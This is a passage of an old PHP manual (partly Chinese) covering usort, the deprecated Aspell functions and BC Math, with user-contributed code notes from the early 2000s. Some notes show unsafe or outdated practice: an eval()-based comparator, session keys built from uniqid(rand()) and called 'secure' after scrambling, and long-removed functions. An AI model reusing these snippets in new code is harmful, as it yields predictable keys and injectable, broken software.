Awesome for sorting SQL result sets.
xnoguer at rezebra dot com
26-Sep-2001 02:48
just for debugging purposes, usort does not complain if its argument function is not defined, i.e.:

usort($my_array,"non existant function");

will not do anything...
josh at wintelcom dot net
25-Aug-2001 09:58
This lets you sort an associative multi-dimensional array by multiple key/field names.  Much similiar to the SQL clause ORDER BY.  Enjoy.

function cmp ($a, $b) {

   // Populate this array with your values...
   // Below is the SQL equivalent of
   // select * from blah ORDER BY date desc, type asc, name asc

   $vals = array(
       'date' => 'd',
       'type' => 'a',
       'name' => 'a'
   );

   while(list($key, $val) = each($vals)) {

       if($val == "d") {
           if ($a["$key"] > $b["$key"]) {
               return -1;
           }
           if ($a["$key"] < $b["$key"]) {
               return 1;
           }
       }

       if($val == "a") {
           if ($a["$key"] < $b["$key"]) {
               return -1;
           }
           if($a["$key"] > $b["$key"]) {
               return 1;
           }
       }

   }

}
franky at iname dot com
18-Jul-2001 06:08
For sort multi-array by specific index

function cmp ($a, $b)
{
 global $w_o;
 if ($a[$w_o] == $b[$w_o]) return 0;
 return ($a[$w_o] < $b[$w_o]) ? -1 : 1;
}
# the index is the second element of
# each row

$w_o =1;
usort($my_arry_info,"cmp");
johan_land at yahoo dot com
29-Jun-2001 08:23
These functions will sort an array by more than one element. The elements to sort by is specified in $sortArr. If you eg. want to sort by $destArr[]["sortBy2"][0] you add '["sortBy2"][0]' to $sortArr. Use it as much as you want!! If you modify it, please let me know...

//The functions
function compare($a, $b) {
   return cmpRec(0, $a, $b);
}

function cmpRec($i, $a, $b) {
   global $sortArr;
   if($i == sizeof($sortArr)) {
       return 0;
   }
   $avalue = '$avalue = $a'.$sortArr[$i].';';
   $bvalue = '$bvalue = $b'.$sortArr[$i].';';
   eval($avalue);
   eval($bvalue);
       if($avalue == $bvalue) {
       return cmpRec($i+1, $a, $b);
   } else {
       return ($avalue > $bvalue) ? (1) : (-1);
   }
}

//For testing the functions
$destArr = array( array( "sortBy1" => 2, "sortBy2" => array( "Fish", "eat seafood" )), array( "sortBy1" => 1, "sortBy2" => array( "Lions", "eat everything" )), array( "sortBy1" => 1, "sortBy2" => array( "Bird", "eat birdfood" )) );
$sortArr = array( '["sortBy1"]', '["sortBy2"][0]' );
print_r($destArr);
usort($destArr, "compare");
reset($destArr);
print_r($destArr);
06-Apr-2001 07:37
RE comparator functions within classes:
On PHP4.04, I found that the comparator was completely ignored within the class even when using the usort($myArray, "\$this->sortFunction"); method above.  The usort( $myArray, array($this,"sortFunction")) worked. Haven't tested on PHP3.
bo at erichsen dot com
20-Mar-2001 09:16
when using usort to refer to a function inside a class i have succesfully used:
usort($myarray,array($this,"cmp"));
derek at luddite dot net
19-Sep-2000 02:35
Needed a date sort and I didn't know if one was available so I wrote one. Maybe it'll help someone:

   function DateSort($a,$b,$d="-") {
       if ($a == $b)
           { return 0; }
           else {  //Convert into dates and compare
                   list($am,$ad,$ay)=split($d,$a);
                   list($bm,$bd,$by)=split($d,$b);
                   if (mktime(0,0,0,$am,$ad,$ay) < mktime(0,0,0,$bm,$bd,$by))
                   { return -1; }
                   else { return 1; }
           }
   }

$d is the delimeter
gfaron at integretechpub dot com
29-Feb-2000 04:56
As a correction to the piece of code donated by  ccunning@math.ohio-state.edu above, this function will randomize an array passed by reference.  The previous version decreased the length of the array by one.
Greg

<?php
function myshuffle($array)
  {
  mt_srand((double) microtime() * 1000000);
  $num = count($array);
  for ($i = 0; $i < $num; $i ++)
   {
   $n = mt_rand(0, $num - 1);
   // Swap the data.
   $temp = $array[$n];
   $array[$n] = $array[$i];
   $array[$i] = $temp;
   } // ends for

  } // ends function myshuffle(&array)

// Test the results.
$array = array(1,2,3,4,5,6,7,8,9,10);
myshuffle(&$array);
while (list(,$var)=each($array))
  echo $var . " ";
?>
add a note add a note

后退 | 起点 | 前进
uksort | 上一级 | Aspell 函数（已废弃）


Aspell 函数（已废弃）

PHP 手册
后退 前进

VI. Aspell 函数（已废弃）

简介

可以用 aspell() 函数对某个单词进行拼写检查并给出正确的拼写建议。

注: 该扩展已经被从 PHP 中删除，在 PHP 4.3.0 及以后的版本不再有效。如果想用 PHP 进行拼写检查，请使用 pspell。它使用 pspell 库，并且能够和更新版本的 aspell 一起工作。

需求

aspell 仅工作于非常旧（.27.* 及以前）版本的 aspell 库。无论是该模块，或是那些旧版本的 aspell 均不再被支持。如果需要 aspell 库，可以在 http://aspell.sourceforge.net/ 找到。

安装

在 PHP 4 中，本类函数仅在 PHP 编译时配置了 --with-aspell=[DIR] 时可用。

参见

参见 pspell。

目录
aspell_check_raw -- Check a word without changing its case or trying to trim it [deprecated]
aspell_check -- Check a word [deprecated]
aspell_new -- Load a new dictionary [deprecated]
aspell_suggest -- Suggest spellings of a word [deprecated]

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
usort | 上一级 | aspell_check_raw


aspell_check_raw

(PHP 3 >= 3.0.7, PHP 4 <= 4.2.3)

aspell_check_raw -- Check a word without changing its case or trying to trim it [deprecated]

Description

bool aspell_check_raw ( int dictionary_link, string word )

aspell_check_raw() checks the spelling of a word, without changing its case or trying to trim it in any way and returns TRUE if the spelling is correct, FALSE if not.

例子 1. aspell_check_raw()

<?php

$aspell_link = aspell_new("english");

if (aspell_check_raw($aspell_link, "test")) {
    echo "This is a valid spelling";
} else {
    echo "Sorry, wrong spelling";
}

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
Aspell 函数（已废弃） | 上一级 | aspell_check


aspell_check

(PHP 3 >= 3.0.7, PHP 4 <= 4.2.3)

aspell_check -- Check a word [deprecated]

Description

bool aspell_check ( int dictionary_link, string word )

aspell_check() checks the spelling of a word and returns TRUE if the spelling is correct, FALSE if not.

例子 1. aspell_check()

<?php

$aspell_link = aspell_new("english");

if (aspell_check($aspell_link, "testt")) {
    echo "This is a valid spelling";
} else {
    echo "Sorry, wrong spelling";
}

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aspell_check_raw | 上一级 | aspell_new


aspell_new

(PHP 3 >= 3.0.7, PHP 4 <= 4.2.3)

aspell_new -- Load a new dictionary [deprecated]

Description

int aspell_new ( string master [, string personal] )

aspell_new() opens up a new dictionary and returns the dictionary link identifier for use in other aspell functions. Returns FALSE on error.

例子 1. aspell_new()

<?php
$aspell_link = aspell_new("english");
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aspell_check | 上一级 | aspell_suggest


aspell_suggest

(PHP 3 >= 3.0.7, PHP 4 <= 4.2.3)

aspell_suggest -- Suggest spellings of a word [deprecated]

Description

array aspell_suggest ( int dictionary_link, string word )

aspell_suggest() returns an array of possible spellings for the given word.

例子 1. aspell_suggest()

<?php

$aspell_link = aspell_new("english");

if (!aspell_check($aspell_link, "test")) {
    $suggestions = aspell_suggest($aspell_link, "test");

    foreach ($suggestions as $suggestion) {
        echo "Possible spelling: $suggestion<br />\n";
    }
}

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
aspell_new | 上一级 | BC math 高精度数学函数


BC math 高精度数学函数

PHP 手册
后退 前进

VII. BC math 高精度数学函数

简介

PHP 为任意精度数学计算提供了二进制计算器（Binary Calculator），它支持任意大小和精度的数字，以字符串形式描述。

需求

自 PHP 4.0.4 以来，libbcmath 都绑定在 PHP 内部。本扩展不需要其它外部库的支持。

安装

本类函数仅在 PHP 编译时配置了 --enable-bcmath 时可用。在 PHP 3 中，本类函数仅在 PHP 编译时没有配置 --disable-bcmath 时可用。

PHP 的 Windows 版本已经内置该扩展模块的支持。无需加载任何附加扩展库即可使用这些函数。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. BC 数学库配置选项

名称 | 默认值 | 可修改范围 | 更新记录
bcmath.scale | "0" | PHP_INI_ALL | 自 PHP 5.0.0 起可用。
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

bcmath.scale integer

所有 bcmath 函数中十进制数字的数目。参见 bcscale()。

资源类型

本扩展模块未定义任何资源类型。

预定义常量

本扩展模块未定义任何常量。

目录
bcadd -- Add two arbitrary precision numbers
bccomp -- Compare two arbitrary precision numbers
bcdiv -- Divide two arbitrary precision numbers
bcmod -- Get modulus of an arbitrary precision number
bcmul -- Multiply two arbitrary precision number
bcpow -- Raise an arbitrary precision number to another
bcpowmod -- Raise an arbitrary precision number to another, reduced by a specified modulus
bcscale -- Set default scale parameter for all bc math functions
bcsqrt -- Get the square root of an arbitrary precision number
bcsub -- Subtract one arbitrary precision number from another

add a note add a note User Contributed Notes
stonehew ut gm a il det com
25-Nov-2004 01:31
Like any other bc function, you can't trust the last couple of digits, but everything else seems to check out.  If you want to use this for anything important, you may want to verify this against other sources of pi before use.  This function calculates 100 decimal places of pi in 329 iterations -- not exactly fast (each iteration calls the factorial function, from below, twice), so I try to avoid calling it more than once.

<?
//arbitrary precision pi approximator
//author tom boothby
//free for any use

function bcpi() {
   $r=2;
   $i=0;
   $or=0;

   while(bccomp($or,$r)) {
       $i++;
       $or=$r;
       $r = bcadd($r,bcdiv(bcmul(bcpow(bcfact($i),2),
                       bcpow(2,$i+1)),bcfact(2*$i+1)));
   }

   return $r;
}

?>
stonehew et g m a i l dut com
24-Nov-2004 03:20
I hacked these taylor expansions up to make diagrams for some physics homework.  I don't think you'll be wanting to do any real science with PHP... but what the hell, why not?  I plan to implement either a spigot algorithm or something similar to generate pi in the near future.

<?
// arbitrary precision sin and cosine functions
// author tom boothby
// free for any use

function bcfact($n) {
   $r = $n--;
   while($n>1) $r=bcmul($r,$n--);
   return $r;
}

function bcsin($a) {
   $or= $a;
   $r = bcsub($a,bcdiv(bcpow($a,3),6));
   $i = 2;
   while(bccomp($or,$r)) {
       $or=$r;
       switch($i%2) {
         case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
         default: $r = bcsub($r,bcdiv(bcpow($a,$i*2+1),bcfact($i*2+1))); break;
       }
       $i++;
   }
   return $r;
}

function bccos($a) {
   $or= $a;
   $r = bcsub(1,bcdiv(bcpow($a,2),2));
   $i = 2;
   while(bccomp($or,$r)) {
       $or=$r;
       switch($i%2) {
         case 0:  $r = bcadd($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
         default: $r = bcsub($r,bcdiv(bcpow($a,$i*2),bcfact($i*2))); break;
       }
       $i++;
   }
   return $r;
}

?>
Diabolos at GMail dot com
29-Oct-2004 02:42
Here's a function to compute the natural exponential function in arbitrary precision using the basic bcMath arithmetic operations.

EXAMPLE:
To compute the exponential function of 1.7 to 36 decimals:

$y = bcExp("1.7", 36);

The result:
4.331733759839529271053448625299468628

would be returned in variable $y

NOTE:
In practice, the last couple of digits may be inaccurate due to small rounding errors.  If you require a specific degree of precision, always compute 3-4 decimals beyond the required precision.

The program code for the natural exponential function is:
******************************************

  Function bcExp($xArg, $NumDecimals)

{
   $x = Trim($xArg);

   $PrevSum  = $x - 1;
   $CurrTerm = 1;
   $CurrSum  = bcAdd("1", $x, $NumDecimals);
   $n        = 1;

   While (bcComp($CurrSum, $PrevSum, $NumDecimals))

  {
   $PrevSum  = $CurrSum;
   $CurrTerm = bcDiv(bcMul($CurrTerm, $x, $NumDecimals), $n + 1, $NumDecimals);
   $CurrSum  = bcAdd($CurrSum, $CurrTerm, $NumDecimals);

   $n++;
  }

   Return $CurrSum;
}
robert at scabserver dot com
04-Jun-2004 12:58
I spent some time looking for how to generate a large random number, in the end I've settled for reading directly from /dev/urandom

I know this is a *nix only solution, but I figured that it might come in handy to someone else.

The value $size is the size in bits, it could be simplified greatly if you want the size in bytes, but bits was more helpful to what I needed.

<?php
function bcrand($size)
{
   $filename = "/dev/urandom";
   $handle = fopen($filename, "r");
   $bin_urand = fread($handle, ceil($size/8.0));
   fclose($handle);
   $mask = (($size % 8 < 5) ? '0' : '') . dechex(bindec(str_repeat('1', $size % 8))) . str_repeat('FF', floor($size/8));
   $binmask = pack("H*", $mask);
   $binrand = $binmask & $bin_urand;
   $hexnumber = unpack("H*", $binrand);
   $hexnumber = $hexnumber[''];
   $numlength = strlen($hexnumber);
   $decnumber = 0;
   for($x = 1; $x <= $numlength; $x++)
   {
       $place = $numlength - $x;
       $operand = hexdec(substr($hexnumber,$place,1));
       $exponent = bcpow(16,$x-1);
       $decValue = bcmul($operand, $exponent);
       $decnumber = bcadd($decValue, $decnumber);
   }
   return $decnumber;
}
?>
pulstar at mail dot com
16-Apr-2003 08:12
A little comment for the simplified example above: you can do base converting without BCMath functions using only math operators, but you will not able to manage very large values or work with strings to compress or scramble data. If you have BCMath installed in your system it worth use it for this.
oliver at summertime dot net
02-Mar-2003 02:12
A simplier Version of the Script above:

function dec2base($dec, $digits) {
 $value = "";
 $base  = strlen($digits);
 while($dec>$base-1) {
  $rest = $dec % $base;
  $dec  = $dec / $base;
  $value = $digits[$rest].$value;
 }
 $value = $digits[intval($dec)].$value;
 return (string) $value;
}

function base2dec($value, $digits) {
 $value = strtoupper($value);
 $base  = strlen($digits);
 $size  = strlen($value);
 $dec  = '0';
 for ($loop = 0; $loop<$size; $loop++) {
  $element = strpos($digits,$value[$loop]);
  $power  = pow($base,$size-$loop-1);
  $dec    += $element * $power;
 }
 return (string) $dec;
}

$digits = "ABCDEFGHJKLMNPQRSTUVWXYZ23456789";
echo dec2base('1000', $digits);
pulstar at mail dot com
20-Sep-2002 10:23
A found a little fix to do in my base2dec() function:
The line "if($base<37) $value=strtolower($value);" should be removed if you want to specify another digits for your base conversions. Change it this way:

if(!$digits) {
$digits=digits($base);
if($base<37) {
$value=strtolower($value);
}
}

Another example using these functions is to generate a key for a session, to name temporary files or something else:

srand((double) microtime()*1000000);
$id=uniqid(rand(10,999));
$mykey=dec2base(base2dec($id,16),64);

$mykey is a base64 value, which is a good key for passing thru an URL and also is shorter than a MD5 string (it will be allways 11 chars long). If you need something more secure, just scramble the 64 digits in the digits() function.

Well, I hope you enjoy it.

Regards,
Edemilson Lima
pulstar at mail dot com
20-Sep-2002 11:27
A good use for BCMath functions:
The functions below can convert a number in any base (from 2 to 256) to its decimal value and vice-versa.

// convert a decimal value to any other base value
function dec2base($dec,$base,$digits=FALSE) {
   if($base<2 or $base>256) die("Invalid Base: ".$base);
   bcscale(0);
   $value="";
   if(!$digits) $digits=digits($base);
   while($dec>$base-1) {
       $rest=bcmod($dec,$base);
       $dec=bcdiv($dec,$base);
       $value=$digits[$rest].$value;
   }
   $value=$digits[intval($dec)].$value;
   return (string) $value;
}

// convert another base value to its decimal value
function base2dec($value,$base,$digits=FALSE) {
   if($base<2 or $base>256) die("Invalid Base: ".$base);
   bcscale(0);
   if($base<37) $value=strtolower($value);
   if(!$digits) $digits=digits($base);
   $size=strlen($value);
   $dec="0";
   for($loop=0;$loop<$size;$loop++) {
       $element=strpos($digits,$value[$loop]);
       $power=bcpow($base,$size-$loop-1);
       $dec=bcadd($dec,bcmul($element,$power));
   }
   return (string) $dec;
}

function digits($base) {
   if($base>64) {
       $digits="";
       for($loop=0;$loop<256;$loop++) {
           $digits.=chr($loop);
       }
   } else {
       $digits ="0123456789abcdefghijklmnopqrstuvwxyz";
       $digits.="ABCDEFGHIJKLMNOPQRSTUVWXYZ-_";
   }
   $digits=substr($digits,0,$base);
   return (string) $digits;
}

The purpose of digits() function above is to supply the characters that will be used as digits for the base you want. NOTE: You can use any characters for that when you convert to another base, but when you convert again to the decimal base, you need to use the same characters or you will get another unexpected result.
benjcarson at digitaljunkies dot ca
08-Jul-2002 08:00
In addition to my last note, here are  a quick pair of functions to convert exponential notation values into bcmath-style number strings:

// exp2int converts numbers in the
// form "1.5e4" into strings
function exp2int($exp) {
  list($mantissa, $exponent) = spliti("e", $exp);
  list($int, $dec) = split("\.", $mantissa);
  bcscale ($dec);
  return bcmul($mantissa, bcpow("10", $exponent));
}

// float2exp converts floats into exponential notation
function float2exp($num) {

  if (0 == $num) { return "0E1";}
  list($int, $dec) = split("\.", $num);

  // Extract sign
  if ($int[0] == "+" || $int[0] == "-") {
   $sign = substr($int, 0,1);
   $int = substr($int, 1);
  }

  if (strlen($int) <= 1) {  // abs($num) is less than 1
   $i=0;
   for ($i=0; $dec[$i]=='0' && $i < strlen($dec); $i++);
     $exp = -$i-1;
     $mantissa = substr($dec,$i,1).".".substr($dec,$i+1);
   } else { // abs($num) is greater than 1
   $i=0;
   for ($i=0; $int[$i]=='0' && $i < strlen($int); $i++);
     $exp = strlen($int)-1 - $i;
     $mantissa = substr($int,$i,1).".".substr($int,$i+1).$dec;
   }

  return ($sign . $mantissa . "E" . $exp);
}
benjcarson at digitaljunkies ca
08-Jul-2002 07:17
Note that bcmath doesn't seem to handle numbers in exponential notation (i.e. "1e4"), although PHP considers such a value a number.

example:

$exp1 = "1E5";
$exp2 = "2E4";
$ans1 = bcadd($exp1, $exp2, 3);
$ans2 = $exp1 + exp2;
echo("bcadd: $exp1 + $exp2 = $ans1");
echo("php: $exp1 + $exp2 = $ans2");

// Output:
bcadd: 1E5 + 2E4 = 0.000
php: 1E5 + 2E4 = 120000

Just a gotcha if you're using passing PHP numbers into bcmath functions...
add a note add a note

后退 | 起点 | 前进
aspell_suggest | 上一级 | bcadd


bcadd

(PHP 3, PHP 4, PHP 5)

bcadd -- Add two arbitrary precision numbers

Description

string bcadd ( string left_operand, string right_operand [, int scale] )

Adds the left_operand to the right_operand and returns the sum in a string. The optional scale parameter is used to set the number of digits after the decimal place in the result.

范例

例子 1. bcadd() example

<?php

$a = '1.234';
$b = '5';

echo bcadd($a, $b);     // 6
echo bcadd($a, $b, 4);  // 6.2340

?>

参见

bcsub().

add a note add a note User Contributed Notes
Bo Anders Svensson
23-May-2005 08:25
Be aware:

$exp1 = "1E5";
$exp2 = "2E4";

$ans1 = bcadd((float)$exp1, (float)$exp2, 3);
$ans2 = bcadd((int)$exp1, (int)$exp2, 3);
$ans3 = bcadd($exp1, $exp2, 3);

echo "1: $exp1 + $exp2 = $ans1\r\n";
echo "2: $exp1 + $exp2 = $ans2\r\n";
echo "3: $exp1 + $exp2 = $ans3\r\n";

1: 1E5 + 2E4 = 120000.000
2: 1E5 + 2E4 = 3.000
3: 1E5 + 2E4 = 0.000
add a note add a note

后退 | 起点 | 前进
BC math 高精度数学函数 | 上一级 | bccomp


bccomp

(PHP 3, PHP 4, PHP 5)

bccomp -- Compare two arbitrary precision numbers

Description

int bccomp ( string left_operand, string right_operand [, int scale] )

Compares the left_operand to the right_operand and returns the result as an integer. The optional scale parameter is used to set the number of digits after the decimal place which will be used in the comparison. The return value is 0 if the two operands are equal. If the left_operand is larger than the right_operand the return value is +1 and if the left_operand is less than the right_operand the return value is -1.

范例

例子 1. bccomp() example

<?php

echo bccomp('1', '2') . "\n";   // -1
echo bccomp('1.00001', '1', 3); // 0
echo bccomp('1.00001', '1', 5); // 1

?>

add a note add a note User Contributed Notes
frank at booksku dot com
05-Oct-2005 06:41
I slapped together min() and max() functions using bccomp().  While min() and max() only take an arbitrary number of args (i.e. max(1, 5, 1235, 12934, 66)) bccomp only takes 2.

Note that this doesn't take into account $scale.

<?php

function bcmax() {
  $max = null;
  foreach(func_get_args() as $value) {
   if ($max == null) {
     $max = $value;
   } else if (bccomp($max, $value) < 0) {
     $max = $value;
   }
  }
  return $max;
}

function bcmin() {
  $min = null;
  foreach(func_get_args() as $value) {
   if ($min == null) {
     $min = $value;
   } else if (bccomp($min, $value) > 0) {
     $min = $value;
   }
  }
  return $min;
}
?>
12-Feb-2005 06:03
Note that the above function defeats the purpose of BCMath functions, for it uses the 'conventional' < operator.
Instead, it should be:
<?php
function my_bccomp_zero($amount, $scale)
{
   if (@$amount{0}=="-")
   {
       return bccomp($amount, '-0.0', $scale);
   }
   else
   {
       return bccomp($amount, '0.0', $scale);
   }
}
?>
14-Apr-2004 11:43
The bccomp function seems to differentiate between negative zero and positive zero.  For example:

<?php
echo bccomp('-0.00001', '-0.00000', 2) . "<br>";
echo bccomp('-0.00001', '0.00000', 2) . "<br>";
?>

Outputs the following, which is obviously wrong.
0
-1

As I was only trying to determine if a given value was positive or negative, to a particular number of decimal places, I came up with the following solution.  It is not a general solution though.

function my_bccomp_zero($amount, $scale)
{
   if ($amount < 0)
   {
       return bccomp($amount, '-0.0', $scale);
   }
   else
   {
       return bccomp($amount, '0.0', $scale);
   }
}
add a note add a note

后退 | 起点 | 前进
bcadd | 上一级 | bcdiv


bcdiv

(PHP 3, PHP 4, PHP 5)

bcdiv -- Divide two arbitrary precision numbers

Description

string bcdiv ( string left_operand, string right_operand [, int scale] )

Divides the left_operand by the right_operand and returns the result. The optional scale sets the number of digits after the decimal place in the result, which defaults to 0.

范例

例子 1. bcdiv() example

<?php

echo bcdiv('105', '6.55957', 3);  // 16.007

?>

参见

bcmul().

add a note add a note User Contributed Notes
Robert Lozyniak
06-May-2006 07:05
Let me see if I can clarify:

If you pass a _string_ such as "1E2" to a BC math function, it will stop reading as soon as it sees the "E". (The BC math functions do not know scientific notation.)

If you set the variable $foo equal to the _numeric_ 1E2, the variable $foo will then contain the mathematical number known as "one hundred".

If you then pass $foo to a BC math function, PHP will convert the contents of $foo (the mathematical number one hundred) into the string "100". This is the same exact behaviour you would get if you tried to evaluate $foo." apples": you have something which expects a string but you are passing it a number, so the number gets converted to a string.

However, if you try to pass a googol (or rather, the closest IEEE double-precision floating-point number to a googol) to BC math this way, I would not expect it to work. Why? Because PHP would try to write that googol (excuse me, approximation to a googol) in scientific notation (it would, wouldn't it? I'm too lazy to try it), and BC math does not know scientific notation. So there.
artmine77 at yahoo dot com
10-Oct-2005 01:47
Block 1:
{
$arg1="1E+11";
$arg2="5";
$ret=bcdiv($arg1,$arg2,0); // $ret=0  (calculation error)
}
Block 2:
{
$arg1=1E+11;
$arg2=5;
$ret=bcdiv($arg1,$arg2,0); // $ret=20000000000
}
Why do the manual says that $arg1 and $arg2 should be strings when that's when the error happens? If someone knows, I would appreciate the answer.
cristianDOTzuddas]NOSPAM[gmailDOTcom
24-Jul-2005 08:10
Decimal to binary conversion, using BC Math.
Note: this function is VERY slow if the decimal number is too big!

<?
function bc_decbin($dec_str) {
   if (strlen($dec_str)>0) {
       $bin_str = '';
       do {
           if (((int)$dec_str[strlen($dec_str)-1] % 2) === 0)
               $bin_str .= '0';
           else
               $bin_str .= '1';

           $dec_str = bcdiv($dec_str, '2');
       } while ($dec_str!='0');

       return strrev($bin_str);
   }
   else
       return null;
}
?>

-----
Cristian
www.CodeFlower.com
add a note add a note

后退 | 起点 | 前进
bccomp | 上一级 | bcmod


bcmod

(PHP 3, PHP 4, PHP 5)

bcmod -- Get modulus of an arbitrary precision number

Description

string bcmod ( string left_operand, string modulus )

Get the modulus of the left_operand using modulus.

范例

例子 1. bcmod() example

<?php
echo bcmod('4', '2'); // 0
echo bcmod('2', '4'); // 2
?>

参见

bcdiv().

add a note add a note User Contributed Notes
cristianDOTzuddas]NOSPAM[gmailDOTcom
24-Jul-2005 06:45
BC Math is really cool, but has only 10 functions. So we MUST write other BC functions and share the code.

Here is a simple even/odd number check.

<?
function bc_is_even($int_str) {
   if (strlen($int_str)>0) {
       if (bcmod($int_str, 2)==='0')
           return true;
       else
           return false;
   }
   else        // error
       return 0;
}
?>
lauris at night dot lt
24-Dec-2003 12:04
<?php
/**
 * my_bcmod - get modulus (substitute for bcmod)
 * string my_bcmod ( string left_operand, int modulus )
 * left_operand can be really big, but be carefull with modulus :(
 * by Andrius Baranauskas and Laurynas Butkus :) Vilnius, Lithuania
 **/
function my_bcmod( $x, $y )
{
   // how many numbers to take at once? carefull not to exceed (int)
   $take = 5;
   $mod = '';

   do
   {
       $a = (int)$mod.substr( $x, 0, $take );
       $x = substr( $x, $take );
       $mod = $a % $y;
   }
   while ( strlen($x) );

   return (int)$mod;
}

// example
echo my_bcmod( "7044060001970316212900", 150 );
?>
mackaye at iprimus dot com dot au
17-Sep-2003 01:28
It is correct to use $i%2  to get even and odd program control

HOWEVER

using bit level operators is better, faster and more effecient

so

TO get odd and even  $num&1 is much better

To NULL any element $element^$element is also much better

For New comers
these functions are based on the binary representation of variables in memory.

It so happens that an even number always has a
0 on the end, and an odd number always has a 1 on
the end

so

1010101 &
0000001

is true
timo at in-timo dot de
25-Jun-2003 09:15
Check a 10-digit barcode with the Modulo11-ckecksum like this:

<?php
function modulo11 ($barcode)  {
  $sum = 0;
  FOR  ( $i=0; $i<=8; $i++ )  {
   $add = $barcode{$i} * ($i+1);
   $sum = $sum + $add;
  }
  $modulo = $sum % 11;
  IF ( $modulo == 10 )  { $modulo = "X"; }
  IF ( $barcode{9} == $modulo ) {
   return true;
  } ELSE {
   return false;
  }
}
?>

The function returns "true" if the barcode was read properly.
add a note add a note

后退 | 起点 | 前进
bcdiv | 上一级 | bcmul


bcmul

(PHP 3, PHP 4, PHP 5)

bcmul -- Multiply two arbitrary precision number

Description

string bcmul ( string left_operand, string right_operand [, int scale] )

Multiply the left_operand by the right_operand and returns the result. The optional scale sets the number of digits after the decimal place in the result.

范例

例子 1. bcmul() example

<?php
echo bcmul('1.34747474747', '35', 3); // 47.162
echo bcmul('2', '4'); // 8
?>

参见

bcdiv().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcmod | 上一级 | bcpow


bcpow

(PHP 3, PHP 4, PHP 5)

bcpow -- Raise an arbitrary precision number to another

Description

string bcpow ( string x, string y [, int scale] )

Raise x to the power y. The optional scale can be used to set the number of digits after the decimal place in the result.

范例

例子 1. bcpow() example

<?php

echo bcpow('4.2', '3', 2); // 74.08

?>

参见

bcpowmod() 和 bcsqrt().

add a note add a note User Contributed Notes
Robert Lozyniak
04-May-2006 12:13
I hate every living thing that ever lived, except for Ms. A.Sh.O. and maybe also Ms. C.D.F. I hate the person who posted the silly joke below my post, and I hate myself immeasurably more.

That having been said:

This function takes arbitrary integers as exponents:

<?php

function bcpowislame($base,$exp,$scale) {
// I take arbitrary integers as exponents
// Remember, I take ONLY integers as exponents!
// bcpow is lame; I am a substitute
$wexp=bcadd($exp,'0',0);
if (bccomp($exp,$wexp)) return false;
$wbase=$base; $wscale=$scale+strlen($wexp)+3; // the 3 is arbitrary
if ($wexp{0}=='-')
  {$wbase=bcdiv('1',$wbase,$wscale); $wexp=bcsub('0',$wexp,0);}
if ($wexp=='0') return bcadd('1','0',$scale);
$scr='1'; $scrm=$wbase; $loop=true;
while ($loop) {
if (bcmod($wexp,'2')=='1') $scr=bcmul($scr,$scrm,$wscale);
if (bccomp($wexp,'1')==0) $loop=false;
else {$scrm=bcmul($scrm,$scrm,$wscale); $wexp=bcdiv($wexp,'2',0);}}
return bcadd('0',$scr,$scale); }

?>

I also hate my interpreter for not letting this work on negative exponents.
This seems to work great on positive exponents though.
12-Feb-2005 05:58
Well, if bcpow has limits, then this should work:
<?php
function bcpow_($num, $power) {
   $awnser = "1";
   while ($power) {
       $awnser = bcmul($awnser, $num, 100);
       $power = bcsub($power, "1");
   }
   return rtrim($awnser, '0.');
}
?>
Just that $power cannot have decimal digits in it.
Michael Bailey (jinxidoru at byu dot net)
10-Aug-2004 08:42
bcpow() only supports exponents less than or equal to 2^31-1.  Also, bcpow() does not support decimal numbers.  If you have scale set to 0, then the exponent is converted to an interger; otherwise an error is generated.

--
Michael Bailey
http://www.jinxidoru.com
add a note add a note

后退 | 起点 | 前进
bcmul | 上一级 | bcpowmod


bcpowmod

(PHP 5)

bcpowmod -- Raise an arbitrary precision number to another, reduced by a specified modulus

Description

string bcpowmod ( string x, string y, string modulus [, int scale] )

Use the fast-exponentiation method to raise x to the power y with respect to the modulus modulus. The optional scale can be used to set the number of digits after the decimal place in the result.

注: Because this method uses the modulus operation, non-natural numbers may give unexpected results. A natural number is any positive non-zero integer.

范例

The following two statements are functionally identical. The bcpowmod() version however, executes in less time and can accept larger parameters.

<?php
$a = bcpowmod($x, $y, $mod);

$b = bcmod(bcpow($x, $y), $mod);

// $a and $b are equal to each other.

?>

参见

bcpow() 和 bcmod().

add a note add a note User Contributed Notes
rrasss at gmail dot com
16-May-2006 05:46
However, if you read his full note, you see this paragraph:
"The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1."

So you still can, and should (over bcmod(bcpow(v, e), m) ), use his function if you are using larger exponents, "any exponent greater than a few tens of thousand."
ewilde aht bsmdevelopment dawt com
28-Sep-2005 12:46
Versions of PHP prior to 5 do not have bcpowmod in their repertoire.  This routine simulates this function using bcdiv, bcmod and bcmul.  It is useful to have bcpowmod available because it is commonly used to implement the RSA algorithm.

The function bcpowmod(v, e, m) is supposedly equivalent to bcmod(bcpow(v, e), m).  However, for the large numbers used as keys in the RSA algorithm, the bcpow function generates a number so big as to overflow it.  For any exponent greater than a few tens of thousands, bcpow overflows and returns 1.

This routine will iterate through a loop squaring the result, modulo the modulus, for every one-bit in the exponent.  The exponent is shifted right by one bit for each iteration.  When it has been reduced to zero, the calculation ends.

This method may be slower than bcpowmod but at least it works.

function PowModSim($Value, $Exponent, $Modulus)
  {
  // Check if simulation is even necessary.
  if (function_exists("bcpowmod"))
   return (bcpowmod($Value, $Exponent, $Modulus));

  // Loop until the exponent is reduced to zero.
  $Result = "1";

  while (TRUE)
   {
   if (bcmod($Exponent, 2) == "1")
     $Result = bcmod(bcmul($Result, $Value), $Modulus);

   if (($Exponent = bcdiv($Exponent, 2)) == "0") break;

   $Value = bcmod(bcmul($Value, $Value), $Modulus);
   }

  return ($Result);
  }
add a note add a note

后退 | 起点 | 前进
bcpow | 上一级 | bcscale


bcscale

